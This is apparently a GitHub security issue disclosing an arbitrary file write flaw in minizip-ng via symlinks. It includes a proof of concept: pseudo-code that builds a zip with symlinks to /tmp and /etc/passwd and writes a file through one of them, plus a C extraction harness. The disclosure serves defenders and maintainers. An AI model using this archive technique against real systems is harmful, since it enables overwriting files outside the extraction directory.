Skip to content

Arbitrary File Write Vulnerability via Symlinks #936

@windwithshadow

Description

@windwithshadow

Brief Introduction

A security vulnerability exists in the latest version of minizip-ng that allows malicious symbolic links within an archive to be created without validation. When extracting an archive, the library restores these symbolic links, pointing them to arbitrary locations or files on the host file system. Furthermore, it allows files to be extracted into the directories targeted by these symbolic links, resulting in arbitrary file writes. This vulnerability may lead to remote code execution, privilege escalation, data corruption, or denial of service.

Affected Component and Versions

Component: minizip-ng

Affected Versions: <= 4.0.10(latest)

Vulnerability Details

The root cause of this vulnerability is that minizip-ng only sanitizes filenames during extraction, stripping \ and removing path segments consisting entirely of ., but fails to restrict the targets of symbolic links. Additionally, it lacks checks for 'writing through symbolic links.

When extracting an archive containing symbolic links, the program does not validate the link targets. It creates symbolic links within the extraction directory that point to arbitrary targets, while permitting files to be extracted into the folders linked by these symbolic links.

Attackers can exploit this vulnerability by constructing malicious archives where the extracted links point to locations outside the destination directory, thereby bypassing the directory boundary restrictions implemented by the extractor. By writing files through these links, attackers can achieve arbitrary file write.

Reproducing

Environment

OS: Ubuntu 24.04

Cmake: 3.28.3

PoC

Construct PoC Archive File

The following pseudo-code illustrates the attack logic.

def create_zip_exp(output_dir: str):
    filename = "archive.zip"
    file_path = output_dir + filename
    with zipfile.ZipFile(file_path, "w", zipfile.ZIP_DEFLATED) as zipf:
        add_regular(zipf, "someFile.txt")
        add_symlink(zipf, "myTmp", "/tmp")
        add_symlink(zipf, "mytest.txt", "/etc/passwd")
        add_regular(zipf, "myTmp/Exp.txt", "Malicious Text\n")

Unpack the archive

Use common decompression methods, then extract the archive.

#include <stdio.h>
#include <stdlib.h>
#include "mz.h"
#include "mz_strm.h"
#include "mz_zip.h"
#include "mz_zip_rw.h"

int main(int argc, char *argv[])
{
    if (argc != 3) {
        fprintf(stderr, "Usage: %s <archive.zip> <destination_dir>\n", argv[0]);
        return 2;
    }

    const char *archive = argv[1];
    const char *destdir = argv[2];

    void *zip_reader = mz_zip_reader_create();
    if (zip_reader == NULL) {
        fprintf(stderr, "Failed to create zip reader\n");
        return 1;
    }

    int32_t err = mz_zip_reader_open_file(zip_reader, archive);
    if (err != MZ_OK) {
        fprintf(stderr, "Failed to open archive '%s' (err=%d)\n", archive, err);
        mz_zip_reader_delete(&zip_reader);
        return 1;
    }

    err = mz_zip_reader_save_all(zip_reader, destdir);
    if (err != MZ_OK) {
        fprintf(stderr, "Extraction failed (err=%d)\n", err);
        mz_zip_reader_close(zip_reader);
        mz_zip_reader_delete(&zip_reader);
        return 1;
    }

    mz_zip_reader_close(zip_reader);
    mz_zip_reader_delete(&zip_reader);

    printf("Extracted '%s' to '%s'\n", archive, destdir);
    return 0;
}

Attack Results

Image Image

After decompression, the destination directory contains a symbolic link myTmp pointing to /tmp in the system root directory, and another symbolic link mytest.txt pointing to the sensitive file /etc/passwd. Additionally, an Exp.txt file was written to the /tmp directory (under the system root) via the myTmp symbolic link.

In short, minizip-ng has ability to restore malicious symbolic links from the archive, linking them to arbitrary locations or files on the host file system. By allowing files to be extracted through these symbolic links, it results in arbitrary file writes and achieves arbitrary file manipulation.

Metadata

Metadata

Assignees

No one assigned

    Labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions